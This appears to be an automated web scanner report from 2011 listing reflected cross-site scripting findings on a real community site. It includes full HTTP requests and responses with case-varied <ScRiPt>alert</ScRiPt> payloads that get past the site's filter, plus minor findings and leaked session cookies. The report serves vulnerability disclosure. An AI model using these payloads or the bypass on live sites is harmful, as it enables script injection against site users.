Date: Mon, 24 Oct 2011 14:22:32 GMT
Server: Apache-Coyote/1.1
X-JAL: 5
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=28481 t=1319466152679248
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 26283

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
</ScRiPt>72cc9465677/2011bd04e<ScRiPt>alert(1)</ScRiPt>34bdc654448/10/20/project-chooser!input.jspa";

var containerShortUrl = "/container-short.jspa";
var containerLoadingTooltip = "Loading place information.";
var containerErrorTooltip = "Th
...[SNIP]...

1.10. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://community.rapid7.com
Path:   /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113

Issue detail

The value of REST URL parameter 6 is copied into the HTML document as plain text between tags. The payload 48749<ScRiPt>alert(1)</ScRiPt>9848e9086f3 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/1048749<ScRiPt>alert(1)</ScRiPt>9848e9086f3/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966

Response

HTTP/1.1 404 Not Found
Date: Mon, 24 Oct 2011 14:22:33 GMT
Server: Apache-Coyote/1.1
X-JAL: 5
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=14715 t=1319466153380304
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Length: 26283

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
</ScRiPt>72cc9465677/2011/1048749<ScRiPt>alert(1)</ScRiPt>9848e9086f3/20/project-chooser!input.jspa";

var containerShortUrl = "/container-short.jspa";
var containerLoadingTooltip = "Loading place information.";
var containerErrorTooltip = "There
...[SNIP]...

1.11. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 7]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://community.rapid7.com
Path:   /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113

Issue detail

The value of REST URL parameter 7 is copied into the HTML document as plain text between tags. The payload 959cc<ScRiPt>alert(1)</ScRiPt>1791a6672a was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20959cc<ScRiPt>alert(1)</ScRiPt>1791a6672a/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966

Response

HTTP/1.1 404 Not Found
Date: Mon, 24 Oct 2011 14:22:33 GMT
Server: Apache-Coyote/1.1
X-JAL: 5
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=14411 t=1319466154078678
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Length: 26279

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
</ScRiPt>72cc9465677/2011/10/20959cc<ScRiPt>alert(1)</ScRiPt>1791a6672a/project-chooser!input.jspa";

var containerShortUrl = "/container-short.jspa";
var containerLoadingTooltip = "Loading place information.";
var containerErrorTooltip = "There wa
...[SNIP]...

2. Source code disclosure  previous  next

Summary

Severity:   Low
Confidence:   Tentative
Host:   https://community.rapid7.com
Path:   /4.5.5/resources/scripts/gen/32919256b05f3701fa2b788fe598a3aa.js

Issue detail

The application appears to disclose some server-side source code written in PHP and ASP.

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

Request

GET /4.5.5/resources/scripts/gen/32919256b05f3701fa2b788fe598a3aa.js HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966; jive.server.info="serverName=community.rapid7.com:serverPort=443:contextPath=:localName=rapid7-wa01.sgvmhosted.jiveland.com:localPort=9200:localAddr=127.0.0.1"; JSESSIONID=19F2855203BFCA52A064FA19ABAF61D6.; BIGipServerPool_VM133.25=3040376842.20480.0000

Response

HTTP/1.1 200 OK
Date: Mon, 24 Oct 2011 14:22:15 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5
Last-Modified: Mon, 24 Oct 2011 04:29:10 GMT
ETag: "2b0c105-7d30a-4b003dd44e8b0"
Accept-Ranges: bytes
Cache-Control: max-age=315360000
Expires: Thu, 21 Oct 2021 14:22:15 GMT
Vary: Accept-Encoding
X-JSL: D=12226 t=1319466135955518
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/javascript
Content-Length: 512778

/*
* jQuery JavaScript Library v1.4.1
* http://jquery.com/
*
* Copyright 2010, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Sizz
...[SNIP]...
<");if(c.substring(e,e+3)=="<?x"||c.substring(e,e+3)=="<?X"){var b=c.indexOf("?>");c=c.substring(b+2,c.length)}var e=c.indexOf("<!DOCTYPE");if(e!=-1){var b=c.indexOf(">
...[SNIP]...
d=/^[\w\-]+$/.test(h)?b[h]=b[h]||a(document.getElementById(h).innerHTML):new Function("obj","var p=[],print=function(){p.push.apply(p,arguments);};with(obj){p.push('"+h.replace(/[\r\t\n]/g," ").split("<%").join("\t").replace(/((^|%>)[^\t]*)'/g,"$1\r").replace(/\t=(.*?)%>
...[SNIP]...

3. Cacheable HTTPS response  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://community.rapid7.com
Path:   /themes/generated_advanced_skin_global/favicon.ico

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Request

GET /themes/generated_advanced_skin_global/favicon.ico HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966; jive.server.info="serverName=community.rapid7.com:serverPort=443:contextPath=:localName=rapid7-wa01.sgvmhosted.jiveland.com:localPort=9200:localAddr=127.0.0.1"; JSESSIONID=19F2855203BFCA52A064FA19ABAF61D6.; BIGipServerPool_VM133.25=3040376842.20480.0000

Response

HTTP/1.1 200 OK
Date: Mon, 24 Oct 2011 14:22:19 GMT
Server: Apache-Coyote/1.1
Last-Modified: Sat, 15 Oct 2011 01:54:56 GMT
Etag: "4.5.5.0 -10d336982d862f1502fdedbcb9151a07-1150"
X-JAL: 2
Content-Type: application/octet-stream
Vary: Accept-Encoding,User-Agent
X-JSL: D=1949 t=1319466140173419
Content-Length: 1150
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive

............ .h.......(....... ..... ...................................................................................................................................................................
...[SNIP]...

4. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://community.rapid7.com
Path:   /js/ga_keyword2.js

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /js/ga_keyword2.js HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966; jive.server.info="serverName=community.rapid7.com:serverPort=443:contextPath=:localName=rapid7-wa01.sgvmhosted.jiveland.com:localPort=9200:localAddr=127.0.0.1"; JSESSIONID=19F2855203BFCA52A064FA19ABAF61D6.; BIGipServerPool_VM133.25=3040376842.20480.0000

Response

HTTP/1.1 404 Not Found
Date: Mon, 24 Oct 2011 14:22:17 GMT
Server: Apache-Coyote/1.1
X-JAL: 0
Content-Type: text/html
Vary: Accept-Encoding
X-JSL: D=1448 t=1319466138031942
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 1110


<html>
<head>
<title>The page can't be found (404)</title>

<style type="text/css">
body {
background-color: #e3e3e3;
color: #333;
font-family: Lucida Grande, Arial, Helvetica, sans-
...[SNIP]...

Report generated by XSS.CX at Mon Oct 24 10:56:56 CDT 2011.